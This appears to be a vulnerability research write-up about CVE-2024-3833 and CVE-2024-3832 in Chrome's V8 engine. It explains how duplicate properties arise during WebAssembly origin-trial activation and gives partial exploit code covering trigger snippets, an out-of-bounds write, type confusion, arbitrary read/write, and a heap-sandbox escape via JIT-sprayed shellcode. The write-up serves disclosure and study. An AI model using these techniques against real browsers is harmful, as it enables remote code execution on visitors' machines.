Duplicate properties in WebAssembly lead to renderer RCE

CVE-2024-3833 is an object corruption bug in V8, Chrome's JavaScript engine, reported in March 2024 as bug 331383939. A related bug, 331358160, was assigned CVE-2024-3832. Both were fixed in Chrome 124.0.6367.60/.61. The vulnerability allows remote code execution in the renderer sandbox from a single visit to a malicious page.

How origin trials expose unsafe assumptions

Chrome ships some new features as origin trials. Developers register their origins to receive a token, then include it via a meta tag:
<meta http-equiv="origin-trial" content="TOKEN_GOES_HERE">.

Most origin trial features activate before any user JavaScript runs, but that isn't guaranteed. A page can inject the meta tag at any time, potentially executing JavaScript before the trial is enabled. The code enabling the feature may wrongly assume no prior user code ran, leading to security issues.

The earlier example: CVE-2021-30561

One precedent is CVE-2021-30561, reported by Sergei Glazunov of Google Project Zero. There, the WebAssembly Exception Handling feature created an Exception property on the WebAssembly object when the origin trial token was encountered:


let exception = WebAssembly.Exception; //<---- undefined
...
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content = token; 
document.head.appendChild(meta);  //<---- activates origin trial
...
exception = WebAssembly.Exception; //<---- property created

The internal property-creation function assumed Exception didn't already exist on WebAssembly. If a user created Exception before activating the trial, Chrome would attempt to create a second one, producing two Exception properties with different values at different offsets. That leads to type confusion and eventually RCE:


WebAssembly.Exception = 1.1;
...
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content = token; 
document.head.appendChild(meta);  //<---- creates duplicate Exception property
...

In that bug, the activation code did check that Exception was absent, but the check could be bypassed using a JavaScript Proxy object. The original bug ticket contains the full bypass and exploit details.

The same pattern in JavaScript Promise Integration

JavaScript Promise Integration (JSPI), a WebAssembly feature in origin trial until October 29, 2024, defines properties on the WebAssembly object when the trial token is detected via InstallConditionalFeatures:


void WasmJs::InstallConditionalFeatures(Isolate* isolate,
                                        Handle context) {
   ...
  // Install JSPI-related features.
  if (isolate->IsWasmJSPIEnabled(context)) {
    Handle suspender_string = v8_str(isolate, "Suspender");
    if (!JSObject::HasRealNamedProperty(isolate, webassembly, suspender_string)  //<--- 1.
             .FromMaybe(true)) {
      InstallSuspenderConstructor(isolate, context);
    }

    // Install Wasm type reflection features (if not already done).
    Handle function_string = v8_str(isolate, "Function");
    if (!JSObject::HasRealNamedProperty(isolate, webassembly, function_string)   //<--- 2.
             .FromMaybe(true)) {
      InstallTypeReflection(isolate, context);
    }
  }
}

That code verifies the WebAssembly object lacks Suspender and Function properties (steps 1 and 2 above) before creating them with InstallSuspenderConstructor and InstallTypeReflection. The check, however, runs against a different object than the one where properties are installed.

InstallSuspenderConstructor bases its work on the wasm_webassembly_object from context (step 3):


void WasmJs::InstallSuspenderConstructor(Isolate* isolate,
                                         Handle context) {
  Handle webassembly(context->wasm_webassembly_object(), isolate);  //<--- 3.
  Handle suspender_constructor = InstallConstructorFunc(
      isolate, webassembly, "Suspender", WebAssemblySuspender);
  ...
}

But the object checked in InstallConditionalFeatures comes from the global WebAssembly property:


void WasmJs::InstallConditionalFeatures(Isolate* isolate,
                                        Handle context) {
  Handle global = handle(context->global_object(), isolate);
  // If some fuzzer decided to make the global object non-extensible, then
  // we can't install any features (and would CHECK-fail if we tried).
  if (!global->map()->is_extensible()) return;

  MaybeHandle

JavaScript can replace the global WebAssembly variable with any user-defined object:


WebAssembly = {}; //<---- changes the WebAssembly global variable

Reassignment doesn't affect the cached wasm_webassembly_object in the context. So an attacker can define Suspender on the original object, then reassign the global variable and activate the JSPI origin trial, which creates a second Suspender on the original object:


WebAssembly.Suspender = {};
delete WebAssembly.Suspender;
WebAssembly.Suspender = 1;
//stores the original WebAssembly object in oldWebAssembly
var oldWebAssembly = WebAssembly;
var newWebAssembly = {};
WebAssembly = newWebAssembly;
//Activate trial
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content = token; 
document.head.appendChild(meta);  //<---- creates duplicate Suspender property in oldWebAssembly
%DebugPrint(oldWebAssembly);

During trial activation, InstallConditionalFeatures sees an object without Suspender (the new global object), then creates that property on a different object — the original one — which already has it. The result is two Suspender properties stored at different offsets on the original object. This was reported as 331358160 and assigned CVE-2024-3832.


DebugPrint: 0x2d5b00327519: [JS_OBJECT_TYPE] in OldSpace
 - map: 0x2d5b00387061  [DictionaryProperties]
 - prototype: 0x2d5b003043e9 

The CVE-2024-3833 variant

InstallTypeReflection suffers a similar problem, with extra complications. It also installs a type property on several objects. One of these objects is the prototype of the wasm_tag_constructor, with no prior existence check (step 1):


void WasmJs::InstallTypeReflection(Isolate* isolate,
                                   Handle context) {
  Handle webassembly(context->wasm_webassembly_object(), isolate);

#define INSTANCE_PROTO_HANDLE(Name) \
  handle(JSObject::cast(context->Name()->instance_prototype()), isolate)
  ...
  InstallFunc(isolate, INSTANCE_PROTO_HANDLE(wasm_tag_constructor), "type",  //<--- 1.
              WebAssemblyTableType, 0, false, NONE,
              SideEffectType::kHasNoSideEffect);
  ...
#undef INSTANCE_PROTO_HANDLE
}

var x = WebAssembly.Tag.prototype;
x.type = {};
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta);  //<--- creates duplicate type property on x

This enables duplicate type properties on WebAssembly.Tag.prototype, creating the object corruption that led to CVE-2024-3833. The pattern mirrors CVE-2021-30561: an origin trial activation path that trusts a cached object while performing a check against a different, user-controllable object.

Cloning breaks the dictionary barrier

The CVE-2021-30561 fix blocked duplicate properties on fast objects, but dictionary objects remained vulnerable. Property dictionaries in V8 are implemented as NameDictionary instances backed by an array of (Key, Value, Attribute) tuples. The bug allows different entries to share a Key. The CVE-2023-2935 write-up demonstrated exploitation via dictionary objects, but it required creating the duplicate as an AccessorInfo property, a type normally reserved for builtins. That avenue is closed here, so a different route is needed.

The alternative is to find internal operations that iterate over all of an object's properties without anticipating duplicates. Object cloning is one such operation.

The inline cache handler takes the bait

Spread syntax performs a shallow copy of an object:


const clonedObj = { ...obj1 };

V8 implements this as the CloneObject bytecode:


0x39b300042178 @    0 : 80 00 00 29       CreateObjectLiteral [0], [0], #41
...
0x39b300042187 @   15 : 82 f7 29 05       CloneObject r2, #41, [5]

On first execution, the inline cache (IC) machinery has no handler for the input object, so it invokes CloneObjectIC_Miss. The slow path correctly handles duplicates: when copying the source object, a duplicate property in the source overwrites the existing property in the target instead of creating a second one. After this slow-path run, the IC records a pair of maps (source_map, target_map) encoding the handler. Subsequent clones with the same source_map go through the optimized IC handler, which replicates the source's PropertyArray wholesale instead of copying properties one at a time. This discrepancy is critical.

Recall that V8 objects store a map field describing property layout, and fast objects keep properties either in the object itself or in a PropertyArray whose reported length often exceeds the number of stored properties, similar to std::vector capacity. The map tracks unused_property_fields for fast object property additions.


x = { a : 1};
x.b = 1;
%DebugPrint(x);

The debug output shows object x with property a stored in-object and b in a PropertyArray of length 3, meaning two unused property fields.


DebugPrint: 0x1c870020b10d: [JS_OBJECT_TYPE]
 - map: 0x1c870011afb1  [FastProperties]
 ...
 - properties: 0x1c870020b161 
 - All own properties (excluding elements): {
    0x1c8700002ac1: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x1c8700002ad1: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0]
 }

Now consider cloning a source object that carries a duplicate property. The slow path produces a target with one property overwritten, yielding a PropertyArray whose length is consistent with the map's unused_property_fields:


DebugPrint: 0x38ea00355ee1: [JS_OBJECT_TYPE]
 - map: 0x38ea003978b9  [FastProperties]
 ...
 - properties: 0x38ea00356001 
 - All own properties (excluding elements): {
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499  (data field 0), location: in-object
    0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
    0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
    0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
    0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
    0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
    0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]

The IC handler, however, allocates a target with the same map as that slow-path result, but pairs it with a verbatim copy of the source's PropertyArray. This produces a target whose map declares zero unused_property_fields while its PropertyArray still has one free slot. The object is now internally inconsistent.

Two fields walk into a bar

The inconsistency only matters later, when new properties are added. In AccountAddedPropertyField, adding a property to an object with zero unused_property_fields creates a new map with unused_property_fields set to two. That math assumes the PropertyArray is being extended. But actually extending the backing array is decided separately, based on the array's length compared to its used entry count. If the array has spare capacity, that comparison will fail and no extension happens.

The JIT compiler, TurboFan, makes the same assumption in the opposite direction: it checks unused_property_fields on the map to decide whether it must extend the PropertyArray when emitting a property store. So the right combination—a map reporting free property fields and a PropertyArray that is actually full—lets a JIT-compiled property store write out of bounds past the end of the PropertyArray.

Before that can be exploited, a fast object with duplicate properties must be built. Direct creation is blocked by the hardening patch, but a dictionary object with a duplicate property can be converted to a fast object afterwards. Triggering the bug via WebAssembly.Tag.prototype and then making the object fast through MakePrototypesFast (which runs on ordinary prototype property access) achieves exactly that.


var x = WebAssembly.Tag.prototype;
x.type = {};
//delete properties results in dictionary object
delete x.constructor;
//Trigger bug to create duplicated type property
...

Once x is a fast prototype with a duplicated property, cloning it via the IC path produces the inconsistency described above. Adding two properties through a JIT-generated function pushes a value one slot past the real PropertyArray boundary. The interesting question is what sits there.

Targeting the clone target

The IC handler allocates the PropertyArray immediately before the target object itself. Because V8's heap allocator hands out memory linearly, a one-element OOB write lands directly on the target's internal fields. The second of these—the properties field holding the PropertyArray pointer—can therefore be overwritten with an attacker-chosen object value.


a8 = {c : 1};
...
function transition_store(x) {
  x.a7 = 0x100;
}
function transition_store2(x) {
  x.a8 = a8;
}
... //JIT optimize transition_store and transition_store2
transition_store(obj);
//Causes the object a8 to be interpreted as PropertyArray of obj
transition_store2(obj);

Arranging the heap so a controlled object is adjacent is straightforward, again because allocation order determines address order. If the corrupted obj's PropertyArray is redirected to a JSObject a8, then that object's fields are re-interpreted as array entries. Specifically, a8's internal properties pointer becomes the PropertyArray's length field. Since pointers are large, the type-confused PropertyArray now reports an enormous length, giving nearly unbounded OOB read/write through further property stores on obj.

Those stores can reach any object placed after a8, with a caveat: every uncontrolled entry write in between corrupts the target array's internal fields. The fix is to give the target array (a7) its own PropertyArray allocated directly before it, also using cloning. Then the memory between a8 and a7 consists only of a7's PropertyArray, whose internal map and length can safely be trashed as long as property reads on a7 don't rely on them.

From property confusion to code execution

The remaining piece is a type confusion that survives JIT optimization. If a JIT-compiled function loads x.c4.len from an object x with the shape of a7, the compiler will notice that a7.c4 always has the same map and will therefore load len at a fixed offset, skipping the map check for c4's value. A write through that slot from the type-confused PropertyArray overwrites a7.c4 with a double array, corrupted_arr. Subsequent JIT calls see the old map in a7 and treat that double array as a {len: 1} object, writing to the offset that now holds corrupted_arr's length field. The result is an out-of-bounds JavaScript Array.

Converting OOB array access into arbitrary read/write is standard v8 exploitation:

  1. Place an object array after corrupted_arr and use the OOB read to recover its element addresses, leaking any object's address.
  2. Place a second double array, writeArr, after corrupted_arr and overwrite its elements pointer using the OOB write. Accessing writeArr afterwards reads and writes through that arbitrary pointer, completing the exploit chain.

Escaping v8’s heap sandbox

Modern Chrome builds isolate the v8 heap from the rest of the process with the v8 heap sandbox. Corruption inside the heap can’t directly reach executable code or other process memory, so any exploit needs a separate step to break out. Because this bug was found right after Pwn2Own, I checked recent v8 commits and found what looked like a fix for a heap sandbox escape, likely tied to a contest entry.

The relevant mechanism is WebAssembly imports. When you construct a WebAssembly.Instance, you can pass in JavaScript objects or other WebAssembly exports to be used inside the module:


const importObject = {
  imports: {
    imported_func(arg) {
      console.log(arg);
    },
  },
};
var mod = new WebAssembly.Module(wasmBuffer);
const instance = new WebAssembly.Instance(mod, importObject);

Those imported functions become callable from the WebAssembly code:


(module
  (func $i (import "imports" "imported_func") (param i32))
  (func (export "exported_func")
    i32.const 42
    call $i
  )

Internally, v8 stores the addresses of these imported functions in a FixedAddressArray:


Handle WasmTrustedInstanceData::New(
    Isolate* isolate, Handle module_object) {
  ...
  const WasmModule* module = module_object->module();

  int num_imported_functions = module->num_imported_functions;
  Handle imported_function_targets =
      FixedAddressArray::New(isolate, num_imported_functions);
  ...

This array holds the actual call targets. Since it lives in the v8 heap, an attacker with arbitrary read/write inside the heap can overwrite those targets. When WebAssembly code then invokes an imported function, execution jumps to the rewritten address.

A JavaScript Math function import gets a small wrapper compiled at instantiation, and that wrapper’s address is what lands in imported_function_targets:


bool InstanceBuilder::ProcessImportedFunction(
    Handle trusted_instance_data, int import_index,
    int func_index, Handle module_name, Handle import_name,
    Handle

Those wrappers are placed in the same executable region as Liftoff-compiled WebAssembly. If I create WebAssembly functions whose bodies are mostly numeric constants, the bytes are already sitting in that rx region. I can then rewrite an entry in imported_function_targets to point into the middle of those constants so they decode as shellcode. This is a form of JIT spraying, which previously worked against the heap sandbox and was later patched. Because the wrapper code and my crafted WebAssembly data share the same region, relative offsets are computable, which lets me jump precisely into the sprayed bytes.

The full exploit is available here with setup instructions.

Conclusion

CVE-2024-3833 allows creating duplicate properties on a v8 object, much like CVE-2021-30561. The original exploit method for that older bug no longer works due to hardening, but I found an alternate path through the same root cause.

  1. The duplicate properties create an inconsistency between an object’s PropertyArray and its map.
  2. That inconsistency becomes an out-of-bounds write into the PropertyArray, used to build a type confusion between a JavaScript Object and a JavaScript Array.
  3. With the type confusion, the length of the array can be rewritten, yielding out-of-bounds access on corrupted_arr.

From OOB array access, getting arbitrary read/write inside the v8 heap follows a standard pattern:

  1. Place an object array immediately after corrupted_arr. The OOB read lets me recover the raw addresses of objects stored there, giving me the address of any v8 object.
  2. Place writeArr, a double array, after corrupted_arr. Using the OOB write, overwrite writeArr’s element pointer with an arbitrary object address. From then on, reading or writing writeArr reads or writes that address.

Because the heap sandbox now blocks code execution from heap corruption alone, I repurpose the imported-function jump table in the v8 heap. Overwriting a target to point at sprayed shellcode lets a WebAssembly call jump straight into attacker-controlled code.